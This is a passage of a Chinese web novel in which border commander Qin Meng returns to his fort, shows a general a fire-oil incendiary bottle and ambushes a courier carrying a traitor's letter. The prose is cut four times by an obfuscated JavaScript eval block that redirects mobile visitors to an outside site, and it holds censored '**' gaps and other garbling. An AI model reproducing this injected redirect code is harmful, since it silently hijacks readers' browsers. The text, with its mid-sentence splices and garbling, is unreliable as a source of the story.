这里的训练方式比较简单粗糙,主要练习列队、劈砍等动作,不像在边寨那边从站军姿开始。
毕竟身处青阳城,练兵之法需要保密。
秦猛换上飞虎卫铁甲后,派人前往顺风车行下令。
而后他来到校场,直接下令解散队伍,让大家休整吃饭,并收拾行囊。
之后,秦猛带队前往伙房用餐。
中午的饭菜十分丰盛,有红烧肉、有鲜鱼豆腐,几个炒菜,骨头汤。主食是白面馍管饱。
秦猛心想怪不得庞仁那家伙天天带人来军营吃饭。
王善和李恒得知秦猛回来,先后赶来。
他们将秦猛离开后这几天城内聚拢流民的情况、募兵数量、抛售产业及物资筹备情况一一汇报。
秦猛听完后,越发深刻地意识到,当年打倒地主老财是历史的必然。
这不仅为民除害,而且聚拢钱粮的速度极快。
刘家众多产业抛售出去后,换来数万两银子,大批粮食物资,铁血军寨暂时无需为钱粮发愁。
重修芦苇堡、加固双涡堡也绰绰有余。
此外,除了送人的胭脂铺。
还有清风楼、粮油铺、顺风车行,可经营谋利。
看来,这种暴力的手段,才能迅速积累财富。
秦猛点头拍板道:“情况不错,准备一下,今天返程。”
“今天就走?”李恒满脸错愕,以为是听错了。
“没错,飞虎卫赵将军在边寨,还不赶紧回去拜见。”秦猛没有隐瞒,直接说出急着回去的原因。
“把这大人物晾着,必须回去。”
“什…什么?”李恒听后目瞪口呆。
他从小生活在边陲地,当然知道虎贲军飞虎卫赵将军的大名,如今得知这位大人物就在边堡,还被秦猛晾在一边,心中不禁感到震惊。
他的眼神变得有些古怪,仿佛在说,猛哥,你怎么敢如此行事?
“你那是什么眼神?”秦猛瞪了李恒一眼:“快呀,赶紧吃饭,吃完饭,收拾东西,早早走人。”
“幸好流民和大多粮食等物资都已经运回去了。”
“哦哦,我吃过饭了,我这就去办。”李恒回过神,从椅子上蹦起来,边说边往外面小跑。
城北军营,募兵告示被撤下,结束了这一轮招募。
与此同时,顺风车行的车队驶入军营,开始搬运粮食、驱赶牲畜。
不久后,骑兵护送着车队,陆陆续续地出城。
这动静太大,消息根本瞒不住。
秦猛直接派人向县衙、郡衙告知情况。
他称边寨有紧急情况,必须立刻率队返回坐镇。
秦猛因军情紧急要离开!
青阳郡城的居民心里莫名空落落的。
但暗地里却有人欢喜,想着这个“秦煞星”总算是要走了。
秦猛率军离开时,青阳郡城的大小官吏都来送行。
县衙知县韩齐表现得十分积极,同时又带着不舍之情。
这几天他总算体会到背后有靠山是怎样的感觉。
他领着县丞、主薄、巡检等一众大小官吏前来相送。
郡守、郡丞虽然没有亲自来,但也派来了心腹,汇入官员队伍中送别,那架势仿佛十分不舍。
“诸位,就此别过。”秦猛朝众人说道。
他眼神锐利,扫过人群中那些不怀好意的目光,心中猜到对方巴不得自己赶紧走,大概是想来确认自己是真的走,而不是放个假消息。
他朝韩知县、庞巡检等人拱手,声音洪亮地说道:“青阳郡城就劳烦诸位治理,务必要做到后方稳固,百姓安居乐业,不负朝廷期望。”
秦猛骑在马上,煞有介事地向某个方向拱手。
“铁血军寨离此不过二十多里,骑兵队转瞬即至。”
“**来犯在即,我希望诸位齐心协力,莫要生事端。”
“秦将军放心,边堡后方有我们,确保无忧。”韩知县满脸诚恳地说着。
“我们会准时调拨粮草物资,彼此同仇敌忾,抵御**。”
随后,秦猛跟众人拱手作别,率队继续前行。
很快,队伍渐行渐远,直至消失在寒风之中。
三天来,在李恒的安排下,招募的流民和采购的粮食、物资,通过顺风车行的车队送至边寨。
此次返程队伍运送的粮食、棉布等物资数量并不多。
牛羊牲畜都被绑住放在车上,人人骑马或驾车,行进速度飞快。
天黑前,队伍就抵达边寨三里外。
中途,秦猛派出袁飞、王善带着十多骑兵原路折返。除了少数人,没有人知道他们已经离开。
秦猛望着边寨越来越近,朝身边的虬髯大汉常勇说道:“常勇,你身手不错,有没有兴趣加入边军,做个队将?我铁血军寨缺你这种好手。”
“这个……”常勇眼中闪过一丝意动。
秦猛清楚汉子的顾虑,却故作不知,继续说道:“近年来,草原鞑虏越发猖獗,视我大汉儿郎为两脚羊,肆意欺凌。”
“我辈热血男儿岂能沉默?”
“男子汉大丈夫,立于天地之间,当在战场上建功立业。”
“靠一刀一枪,博个功名,封妻荫子,岂能甘心做个护卫?”
常勇眼里的意动更明显了,却始终没有说话。
他身边不少护卫都热血沸腾,恨不得当场答应。
只是常勇在他们之中颇有威望,没有人敢擅自做主答应。
“勇哥,这是个好机会。”常勇身边好几人提醒道。
“秦将军,谁不想建功搏个出身?”常勇表明态度,话语一转。
他躬身道:“大人厚爱,属下心领了。”
“只是前几年,我在青州遭遇山贼,身受重创,多亏东家
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418908|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
路过搭救,悉心照料,这份恩情未还。”
“故而去年我随他北上幽州,身为护卫,需先问过常东家的意思,得他允许,才能给将军准话。”
“无妨。”秦猛不做强求,说道:“他肯定会同意的。”
“回军寨后,你顺便转告你家东家,联合护卫队的事该提上日程了。”
“后续欧洲各地护卫会分批送来进行军事训练,商队常走边塞路,没点自保能力,迟早要出事。”
“遵命!”常勇拱手应下,眼中多了一丝期盼的神色。
这时,李恒趴在马背上,笨拙地策马凑到秦猛身边,说道:“猛子哥,我突然有点慌。”
“你慌什么?”秦猛眉头一挑,反问道。
“我慌你把将军晾着,他会不会怪罪?”
李恒望着军寨,想着秦猛说过的话,莫名感到心虚。
铁血军寨,校场。
“列队,报数。”负责训练的李山高声喊道。
“一,二,三,四…”新兵们依次报数。
秦大壮的腿依旧有点哆嗦,硬着头皮临场督训。前方,服装统一的新兵踏步列阵,扭头报数。
赵起将军黑着脸,背负双手,看着寨兵操练。
他眼神锐利,时而皱眉,时而点头,时而摇头。
这可苦了负责操练军卒的秦部将,一颗心砰砰乱跳。
他在心里呐喊着祈祷着:猛哥儿,你快回来!
赵起将军之所以脸色难看,是有多种原因。
一,是铁血军寨训练新兵的方法十分奇特,他戎马生涯多年,觉得这种方法有效,却又说不上来个所以然,竟然有些看不懂。
二,是亲兵昨天飞马来报喜讯,说队伍凯旋,唯独秦猛有事外出,未作详细阐述,这令他十分疑惑。
另外就是午后遇到的一件事。
他从军寨外驻地带人来寨内巡视,检阅练兵。
没想到竟被人指着鼻子,大声喝骂,差点挨打。
没错,就是一个憨货差点动手。
事情的起因是,带突击队训练的乌维被赵将军上下打量。那炙热的目光看得他浑身发毛。
乌维顿时恼了。
他瞪着铜铃般大的眼睛,指着来巡视的赵将军的鼻子喝斥:“你瞅啥?信不信抽死你丫的?”
这傻大个也不知跟谁学的,竟学些骂人的话。
当时就把赵将军给训斥得愣在原地。
他的亲兵队长赵平勃然大怒,指着乌维喝骂“放肆”之类的话。
乌维是那种人狠话不多的类型,直接冲上来就要动手。
要不是他队伍中的壮汉们拼命抱住他,这事恐怕就一发不可收拾了。
秦大壮得知消息,哆哆嗦嗦地跑过来。
他搬出秦猛的大名,朝乌维劈头盖脸一顿臭骂。
最后,还把乌维关了禁闭。
尽管如此,戎马半生的赵将军被人骂的事实却无法更改。将军能有好脸色,那才叫有鬼。
第93章 恭迎秦知寨
校场之上,朔风凛冽如刀锋刮过脸颊。百余名寨兵如松柏般挺立,任凭寒风如何呼啸肆虐,他们的身形纹丝不动,目光如炬直视前方。
——这是秦猛严格要求的“站军姿”训练法。正在这群新兵身上淬炼出惊人的纪律性。
随着时间的推移,有人双腿开始微微颤抖,额头渗出冷汗,在寒风中凝结成冰,却依旧无人退缩。
就连李山、秦大壮等军官也在训练。
他们又累又冷,脊梁却挺得更加笔直,仿佛有一股无形的力量在支撑着每个人的意志。
校场上百多人,却静得可怕。
唯有紧挨着军营的炼盐作坊,传来嘈杂声和滚滚热浪,为这些近乎冻僵的士兵带来一丝暖意。
当终于有人身体摇晃、踉跄,几近极限时,秦大壮立即高声喝道:“休息一刻钟,自由活动。”
声音洪亮如钟,彰显着他日益增长的威信。
士兵们迅速活动手脚,慢跑跳动。
但他们的姿态已然不同往日,脊背依旧挺得笔直。
赵起将军与士兵同甘共苦站完全程,将这一切尽收眼底。此刻目光愈发深邃,也越发好奇。
他敏锐地察觉到这支队伍正在发生脱胎换骨的变化。
“秦副将,新兵练这个有用吗?”
赵起看着秦大壮,声音平静却带着不容置疑的威严。
秦大壮深吸一口气,努力让自己的声音保持稳定:“回将军,第一批百人练了十来天,精气神有了明显的变化,站有站样,坐有坐相。”
“秦知寨说,这是在磨炼军卒的意志,增强纪律,做到令行禁止。”
“令行禁止?”一旁的赵平嗤笑出声,语气中满是轻蔑。
这笑声让秦大壮刚刚积攒的底气瞬间消散大半。
赵平是亲卫营正将,本就因之前山蛮巨汉的鲁莽而恼怒,更何况,在马下动手,他多半被那巨汉摁在地上摩擦,这股火气一直没消。
赵平语气带着尖酸刻薄说道:“不是我孤陋寡闻,就这样站一站,就能让军队做到令行禁止?这不是……”
“好了!”赵起抬手制止了亲卫统领的嘲讽。
他眼中闪烁着感兴趣的光芒:“依本将看来,这种练兵只是基础,应当还有后续步骤吧?”
“将军明鉴。”秦大壮老实回答:“秦知寨说过,站军姿只是基础,后续会增加体能训练,再辅骑马射箭、劈砍刺杀,才能打下扎实根基。”
“打下根基?”赵起挑眉,兴趣更浓。
“没错。”秦大壮将秦猛的话原样复述。
“秦知寨还说,强兵不是练出来的,而是厮杀出来的。”
“只有经过血与火的考验,才能锻造出真正的精兵悍将。”
“好,说得好!”赵起眼中闪过赞赏之色,正欲深入询问时,却见一个飞虎卫飞奔来报:
“报,秦知寨回来了!”
赵起顿时朗声笑道:“走,一同迎接秦知寨。”
说罢,这位赵将军率先迈步向前,朝着堡门方向走去。
秦大壮双腿抖动得更加厉害,艰难地挪动脚步跟上。
而在后堡门外,秦猛正率领队伍归来,他早已提前让人回来通知,因此箭楼上的号角并未响起。
老保长王槐、诸葛风等人闻讯赶来,一边引领车队入堡,一边安排人手将粮食清点入库。
那十多口装满银子的大箱子则由秦猛亲兵严密护卫——这一幕却被迎面走来的赵起尽收眼底。
“恭迎秦知寨归来。”赵将军笑眯眯地挥手道。
场中气氛瞬间变得微妙起来。
老保长和诸葛风下意识交换了一个担忧的眼神。
“哎哟,将军折煞末将了。”秦猛翻身下马,小跑上前郑重行礼,脸上堆着恰到好处的笑容。
赵起尚未开口,亲兵统领赵平已经愤然出声:“秦知寨,不久前,你的手下可是指着将军开骂。”
“谁?”秦猛笑容一僵,心中已有猜测谁这么大胆。
跟过来的秦大壮哭丧着脸提醒:“是乌维那个傻大个。”
秦猛心说果然是他,勃然大怒:“将军放心,这傻大个如此无礼?回头我定狠狠收拾他!”
“这家伙脑袋是个山蛮子,您千万别跟他一般见识。”
“你都这么说了,惩处就免了吧。”赵起摆了摆手,目光却落在了正徐徐入堡的车队上。
从昨天起他率军赶来,就看到不少车队涌入寨中。此刻,他不禁打趣道:“看这阵仗,这回秦知寨怕是收获颇丰啊!”
“一般般,就是运气好,捡了些小便宜。”
秦猛哪敢说实话,只能打着哈哈谦虚地笑了笑。
赵起显然不吃他这套说辞,脸上带着意味深长的笑:“我已经派人去接应周扬他们了,他们晚上应该能赶回来,秦知寨抄了山贼老巢。”
秦猛见对方这副神情,知道今天不出血是不行了。他伸出五根手指,语气铿锵有力地说。
“500匹草原好马,将军要是需要,带走便是。”
“五百匹?”赵起面上闪过错愕。
“哪来这么多?”赵平脱口而出,难掩震惊之色。
“你是?”秦猛见到又是这货插话,斜着眼问。
“亲卫营正将赵平。”赵平看到那眼神,大怒。
“秦知寨真是威风八面呐!”
“那没办法,谁叫我是知寨官呢!”秦猛昂首挺胸,很是牛叉的说着,甩给对方一个后脑勺。
他向赵起汇报:“将军,冷艳山来袭,得一百余匹;
赴青阳郡城途中遭遇狼戎骑兵,消灭这伙贼人,又缴获百多匹;
解冷艳山之围再得三百多匹,共计五百多匹。”
“赴青阳郡城?”赵起敏锐地抓住关键,目光如炬地盯着秦猛:“你一个边寨将领去郡城做甚?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418909|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>秦猛环视四周,压低声音:“此事说来话长,宴席上末将再详细禀报。”
赵起没再追问,转而提起了另一件事:“据报,军寨击溃贼人时使用了一种能**起火的小瓶,威力惊人。”
秦猛心知无法隐瞒,坦然承认:“正是末将与火器作坊新研制的新武器,我称之为**。”
“原本是为冬季**来袭准备的,没想到先让山贼尝了鲜。”
赵起当即要求亲眼验证。
秦猛立即命**去火器作坊取样品,并传唤范师傅前来拜见。
众人来到堡外旁空旷地带。
秦猛手持一个陶瓶向赵起展示:“此乃**。特制引信可控制时间,点燃后,奋力投出即可。”
他亲自示范,点燃引信,心中默数,随即奋力掷出。
**划出一道优美弧线,落地瞬间轰然**!
窜起一丈多高的火云,火焰瞬间覆盖四五米范围,热浪扑面而来,就连远处众人都感到皮肤灼痛。
飞虎卫精锐们目瞪口呆。
赵平喃喃自语:“有此神物,**何足道哉?”
赵起目睹**的威力后,连声赞好:“若我军配备此物,对付**骑兵便有了利器!”
秦猛微微昂首,自信满满:“防守战已检验过两次,效果极佳。”
“野战尚未尝试,但出其不意定能扰乱敌阵。”
“能否量产?”赵起切中要害。
秦猛如实相告:“可批量生产。”
“造价几何?”
秦转向范良:“范师傅,将军问价。”
范良激动上前:“回将军,主要原料是猛火油,绢布,按市价,一两银子可制二十瓶。”
这比实际产量少报了些,既留余地也防油价波动。
“另需阴凉处保存,期限半月左右。放置过久,威力会打折扣。”
“半月?猛火油?”赵起稍作沉吟,当即拍板:“我即令人从大营调运猛火油,其他所需原料尽管开口,务必在界河冰冻前,批量生产!”
“是!”秦猛与范良齐声回应,语气坚定。
“末将(小人),必定不负将军所托!”
众人随后一同返回边寨。
刚走没多久,赵起环顾四周,却没看到熟悉的身影,便好奇地问秦猛:“秦知寨,为何不见袁飞?今日这般热闹,他怎么没在寨中?”
“哦,将军,袁队长临时领了个任务出去了,晚点就能回来。”秦猛眼神微微闪烁了一下,并未说出袁飞等人的具体去向,含糊地应付了过去。
当夜幕降临,一匹探马返回告知情况。
不久后,远处火把形成的长龙迅速靠近军寨。
那是飞虎精锐护送张富贵等人返回。
规模更大,绵延数里地的车队驶抵铁血军寨。
老保长和诸葛风再次忙碌起来,安顿韩勇,刘三等人,引导马群分流至附近飞虎卫驻地……
第94章 引蛇出洞
要问,袁飞他们究竟干嘛去了?
那真的是有特殊任务,事情还要再说回青阳郡城。
秦猛离城的消息,像一阵松快的风,吹遍了青阳郡的大街小巷。
头顶悬了多日的“利刃”没了!
城内被秦猛铁腕震慑的商队,终于敢卸下紧绷的神经。
那些平日里横行街头的纨绔子弟,也敢揣着银袋走出家门,他们照旧往青楼、赌场钻,却不敢再像从前那样嚣张,动辄砸东西、**。
毕竟秦猛虽走,他手下庞阎王还在,谁也不想触这个霉头。
暮色彻底吞没郡城!
董家府邸的密室里,烛火被穿窗的夜风搅得忽明忽暗。
董袭坐在太师椅上,指节死死攥着一枚羊脂玉佩。
烛火摇曳,映照在他阴沉的脸上。手中的玉佩几乎要被捏碎,指节因用力而泛白却浑然不觉。
几天前在郡衙的场景,像一根**,反复扎着他的心。
——秦猛当着满厅官吏的面敲打他,甚至手按刀柄威胁,逼他同意保举张崇、庞仁两人。
当着面打他的脸,分走他的权利。
这种羞辱像毒蛇般啃噬着董袭的内心。
“秦猛啊秦猛,你以为抓了刘德福的把柄,就能在青阳郡横着走?他死不死又与我何干?”
董袭低声冷笑,攥紧了玉佩,眼底满是狠戾。
“燕北郡青阳城,我董家在此经营了十多年,门生故吏遍布,郡城头号豪强,林安国我都不惧。
岂是你一个武夫能撼动的?”
既然想找死,那我就成全你!他猛地起身,走到墙边,推开一块不起眼的墙砖,露出暗格。
暗格里,一叠泛黄的信纸和一瓶深褐色的特制墨水静静躺着,是他与草原联系的秘密工具。
“你越嚣张知道的越多,死得就越快!”
董袭对着虚空喃喃自语,仿佛秦猛就站在面前。
他抽出信纸,提笔蘸墨的手稳得惊人,笔尖在纸上飞快舞动,每一个字都藏着要置秦猛于死地的狠劲。
他要靠自己的手段,给草原的狼戎写一封密信,借异族的刀,拔掉这颗扎在他心头的眼中钉。
一个刚升格的边寨,还不放在他眼中!他董袭才是燕北郡的主人,谁威胁到他,都要死。
夜渐深,青阳郡城灯火尽灭,只有呜呜的朔风声。
北城门的灯火,只剩下挂着的马灯。
昏黄的灯光催人欲睡,几个值夜的士兵靠在城门洞的柱子上,脑袋一点一点地打着瞌睡。
守军王老幺打了个哈欠,用矛杆捅了捅身旁的年轻士兵:“睡吧,这鬼天气,**不会来的。”
“队长,这样不好吧?这规矩……”
“规矩?”王老幺嗤笑一声,“规矩要是有用,怎的不见都头?天塌下来有他顶着,睡你的觉!”
“那庞阎王来,咋办?”年轻士兵又问。
“城门轮不到巡检司管。”王老幺眼神闪烁不定,拍拍小伙的肩膀:“秦将军走了,眯一会儿。”
年轻的士兵闻言这才不勉强睁眼,靠着慢慢睡着。
守军的营房里,鼾声此起彼伏。
十多个值夜的厢军士兵东倒西歪,手里的**斜斜地倚着,值班都头腰间的佩刀都松了鞘。
有个老兵翻了个身,嘴里嘟囔着:“那边军走了倒好,省得夜里还要查岗,冻得老子骨头都疼。”
话音刚落,就被旁边的士兵拽了拽袖子:“少说两句,被传到庞阎王耳中,就不好啦!”
北城门在夜色中如同沉睡的巨兽。
但今夜,这头巨兽将被内部蛀虫唤醒。
黑暗中,十几个守军悄然摸近,这些都是董家安插的人手。
为首的董三做了个手势,几人迅速控制住关键位置。却未发现王老幺眼睛眯起了一条缝儿。
借着昏黄的火光,记住了几张人脸。
“动作快些,大人等着消息呢!”董三低声催促,一边警惕地注视着那些真正睡着的守军。
绞盘转动的“嘎吱”声在寂静的夜中显得格外刺耳,但守军睡得犹如死猪般,根本就听不见。
城门开了一条仅容一马通过的缝隙,
一人牵着两匹快马如离弦之箭般窜出,融入茫茫夜色。
……
城外,袁飞和王善带着十多名精锐骑兵潜伏在缓坡后,他们慢跑跺脚,或吃着冷饼喝凉水。
这队人已经整整等了两个时辰。
“直娘贼,约莫快两更天了,老鼠不来,咱就回去。”王善也搓着手,看着兵卒,压低声音道。
话音未落,远处似乎有得得声被寒风送来。
“有骑兵。”袁飞等几个军汉趴在地上,异口同声。
“妈了个巴子,不枉咱们等了这么久,这耗子还真来了!”袁飞压低声音,眼中闪着兴奋的光芒。
“秦将军真是神机妙算,就知道有些人按捺不住。”
“大人不是说过吗?山中无老虎,猴子称霸王。”王善边回应、边吩咐亲兵检查绳索和装备。
有人问道:“头儿,城门处安插了自己人,为什么不直接拿下城里的内应?非要等送信的出来?”
王善直截了当地说:“大人想放长线,钓大鱼。”
袁飞冷笑出声:“拿下送信的,拿到了证据,才能一网打尽,连根拔起豪强董家的势力。”
当远处马蹄声越发清晰,所有人立即进入战斗状态。
“驾、驾……”
夜色中,一骑打马扬鞭,往拒马河的方向狂奔。
马上的人,是董袭的心腹吴二。
他怀里揣着那封密信,心口砰砰直跳。虽不知道信里写了什么,但却清楚是要联络草原狼戎部族,要告知狼戎某支队伍覆灭的消息。
但他清楚,这事一旦败露,便是杀头的罪过。
明知诛九族的大罪,他却没得选择。
吴二本是风雪天里快饿死的流民,是董袭救了他的命。
这些年,他凭着勇猛和稳重受了重用,不仅
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418910|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会说狼戎语,还帮董袭经营商队,从草原收购皮货牛羊,私下往草原输送过粮食、铁料。
这次董袭把密信交给他时,拍着他的肩膀说“此事办妥,不仅报了救命之恩,还能得一大笔赏赐”。
这话让吴二心头火热。他勒紧缰绳,眼神越发坚定:“等这事了了,就离开这边陲之地,去中原买田置宅,娶几房妻妾,做个安稳老爷。”
想到这儿,他嘴角忍不住勾起笑意,催马跑得更快了。
可现实偏不遂人愿!
刚出郡城几里地,途经一处土坡时,前面夜色中“嗡”的一声,地面突然绷起一道粗麻绳。
是绊马索!
吴二反应极快,猛地勒住马缰,马前蹄扬起,发出一声嘶鸣。
“不好,有埋伏!”他常年在外行走,经验丰富。见到绊马索,意识到被人盯上,拨马欲逃。
却已经为时已晚。
土坡后面已窜出十多个骑兵,左右包抄而来。
为首的正是袁飞和王善。
“拿下!”“抓活的!”两人一声大喝。
骑兵们一拥而上,兵如猎豹般扑出。
吴二反应极快,就地一滚抽出短刀。
但又有什么用?他已经陷入重围。
王善一记巧妙的棍击打落他手中武器,几条**抵住吴二的胸口,不等他挣扎,就被拽下马背,粗麻绳像蛇一样缠上来,将他五花大绑。
顺便从吴二贴身处搜出那封密信。
看着信上火漆,袁飞咧嘴一笑:“直娘贼!还真让秦将军说中了,必定是董老狗勾结**。”
王单手法娴熟地卸掉吴二的下巴,拍拍他的脸颊:“将军说了,他一走,必定有老鼠跳出来!”
原来,秦猛早就料到,自己离城后,董袭这类人绝不会善罢甘休。
先前董袭怂恿丢了产业的掌柜,管事去幽州告状,就可见其心性,睚眦必报,岂能善罢甘休?
再联想到林安国家眷遇袭,绝非偶遇!
定是有人走漏消息狼戎在那一带徘徊,守株待兔。
最大的受益者,除了董袭还能有谁?
于是,秦猛率队救援,却不伸张,故意装病不出,再大张旗鼓地离开,就是为了引蛇出洞。
袁飞和王善这队骑兵,便是他早就布下的伏兵。
“知己知彼,百战不殆。”王善又感慨这句话来。
“将军说过,要收集有用的信息,如一个人的眼神,说话的语气,神态等,来揣摩分析敌人……”
“哎,我不如也!”袁飞由衷的敬佩。
“跟将军比?先超过我再说。”王善斜着眼补刀。
“我擦,王善,你敢小瞧我?”袁飞眼睛瞪圆了。
军寨卒们赶忙隔开两人。
“你瞅啥?”袁飞见吴二满脸惊恐地看着自己等人,便把气撒在他身上,上前踢了他一脚。
可怜的吴二瞬间蜷缩成了虾米。
把吴二绑缚马背,一行人风驰电掣地往铁血军寨赶去。
第95章 军寨议事
铁血军寨,今夜与众不同,竟是一派热闹景象。
修缮一新的官署内,灯火通明,杀猪宰羊的油脂香飘出老远,蒸腾出一片炽热喧腾的景象。
秦猛设宴款待赵起将军及其麾下赵平、周扬、徐强等一众将领。
秦大壮、张富贵、李山等人作陪。
新投军的常勇亦在席中,他已征得东家常九的同意,决意投身行伍。
酒过三巡,席间的气氛愈发酣畅热烈。
将领们褪去拘谨,端着酒碗,纵论边关军事。
无需赵起将军多问,秦猛便将冷艳山贼人来袭与狼戎劫掠两场战事,一五一十地详尽道来。
张富贵、王铁山更是绘声绘色地补充夜袭冷艳山、遭地方厢军无理围寨的细节,言语间毫无保留。
赵起将军早已收到袁飞密信,知悉擒获贼首严彪并搜出密信之事,深知其中关乎重大情报。
他此刻面沉如水,未动声色。
然而,赵平、周扬等将领初闻其详,无不勃然大怒,痛骂幽州地方军行径恶劣,其声浪几乎要掀翻屋顶。
赵起并未制止,只是适时将话题引向如何应对**。
言谈间,话题迅速聚焦于新制武器,**之上。
“秦将军,这**虽好,可怎么用才能给**最大杀伤?”周扬放下酒碗,语气急切地问。
——此前在冷艳山寨见识过其威力:瓷瓶碎裂,火油四溅,风助火势,一片狼藉,他早已心痒难耐。
秦猛嚼完口中羊肉,沉稳答道:“依我之见,当用于防守之战,或择选窄道、河谷等地形施展。”
他放下筷子,以指为笔,在桌面上划出构想:“我有个大胆的想法,诸位可曾留意后堡门那圈冰墙?”
包括赵起将军在内的众人纷纷点头。
“那是一夜之间筑起来的!”秦猛继续阐释,“若在界河畔筑起约莫一人半高的冰墙,便能有效阻滞骑兵。”
“届时故意留出缺口,迫使**进入狭窄地域。”
“**骑兵虽悍,一旦挤入窄道,人马拥塞,我军再掷出**,烈火燃起,他们便插翅难逃。”
“再者,焚烧其粮草!**远来,粮草是其命脉。”
“一把大火,若能惊散其羊群,敌军必不战自乱。”
“说得极是!”赵平击桌附和,“一是用于坚守,二是攻其不备。”
“昔日黑风口一战,若有此等利器,岂容**那般轻易遁走?下次遭遇,定要让他们尝尽火焚之苦!”
赵起将军则更关注另一层面:“这沿河筑冰墙之策虽妙,然防线漫长,耗费人力物力恐难估量。”
秦猛对此已有思量,幽州界河防线绵延数百里,冰期将至,短期内,全线修筑确不现实。
他进而阐述:“冰墙无需处处皆筑,可重点设于村坊密集之处,串联各堡、各寨,辅以多建瞭望楼,多蓄猛犬。”
“白日,可第一时间发现敌情并予以狙击。”
“夜间,犬只敏锐,能及时示警,亦可点燃烽火、吹响号角,防敌偷袭,军寨也可从容应对。”
“边军之责在于防守,核心是护卫后方百姓安宁。”
“此举不求斩获多少首级,但求护得百姓周全。”
“好,甚好!”赵起越听越是赞许,眼中光芒愈盛,因其越想越觉此法不仅可行,而且能收奇效。
“筑冰墙所需,无非麻袋、沙土、人力及粮食。”
秦猛眼珠一转,又将主意打到地方州府上:“可上报帅司,请旨由地方动员民众,最好是从那些豪强家出资集粮,边军从旁辅助督导。”
“不错!极好!此计大妙!”
众人闻言哄笑,官署内的热烈气氛达到顶点。
宴席终了,军卒奉上极品香茶。
秦大壮、张富贵等军汉粗犷,只觉茶汤解腻。
而赵起显然是识货之人,轻抿一口,便赞道:“好茶,江南的雨前龙井,秦知寨倒是会享受!”
“将军谬赞,此亦是他人盛情所赠,推辞不过。”秦猛面露无奈,心下只怨那韩齐太过热情。
赵起目光如炬,重提旧事:“你前番前往青阳郡,究竟所为何事?”
秦猛心知难以隐瞒,索性坦诚:“去收些产业。”
“那刘耀宗曾在赌坊欠下我赌债,自愿用产业抵偿。”
此言一出,满座霎时寂静。
谁人不知,这位秦知寨昔日曾患痴愚?
这番赌债之说,众人心知肚明,不过是个托词。
赵起脸色陡然一沉:“你可是强占了刘家产业?”
“须知大周律法严明,边将不得干预地方事务!”
“将军息怒。”秦猛不慌不忙,自怀中取出一沓欠条,几份盖有朱红大印的公文,呈予赵起。
“此乃刘耀宗自愿以产业抵债的凭据,以及历经县衙、郡衙核验钤印,官方认可,程序俱全。”
“我朝律法确有规定,痴傻之人输钱不作数。”
“然心智健全者输钱,则不得抵赖,亦未明文禁止边军,厢军不能赌耍,收取抵债之产业。”
他稍作停顿,继续道:“再者,律法禁止官员经营产业、与民争利,本意是防范以权谋私。”
“末将遵纪守法,已将那些产业悉数售予富户商贾,绝不插手经营,更未从中牟取半分私利。”
“此番所得钱粮,尽数用于军寨修缮与边防建设,未入私囊分文。”
“我身为边军将领,朝廷命官,凡事恪守规章法度,保家卫国,岂敢滥用职权,授人以柄?”
秦猛说得正气凛然,慷慨激昂。
然而,在座诸将瞠目结舌,谁不知这厮胆大包天?
月前区区一小卒,就敢一枪格杀巡检使臣!
此刻无不嘴角抽搐,强忍笑意。
但见他拿出的公文证凿齐全,官府大印赫然在目,言之成理,持之有故,竟让人挑不出丝毫错处。
赵起瞧着秦猛这副“忠臣良将”的模样,又特别能说,只觉额角青筋微跳,脑壳隐隐作痛。
他本欲问清原委,稍作敲打,告诫其不可肆无忌惮。
然而,面对这白纸黑字、官印清晰的文书,实在无从指摘。
总不能将那已赴黄泉的刘家人提来对质。
最终,赵起只得无奈摆手:“罢了,罢了!你倒是生就一张伶牙俐齿。然而
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418911|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,往后行事,必须申报,不可乱来,心中自有分寸便好。”
“末将遵命!”秦猛暗自长舒一口气。
他岂是那贪图产业之人?
实则是芦苇堡待重修,双涡堡需加固,若是苦等朝廷的钱粮拨付,不知要等到何年何月。
出此下策,实属无奈。
唯有行此霹雳手段,敛财以解军寨升格之燃眉之急。
这搞死恶霸,取其不义之财以资军用。南河镇刘德才既已倒下,刘德福便是下一个目标。
而那董袭,若不意外,亦将步其后尘。
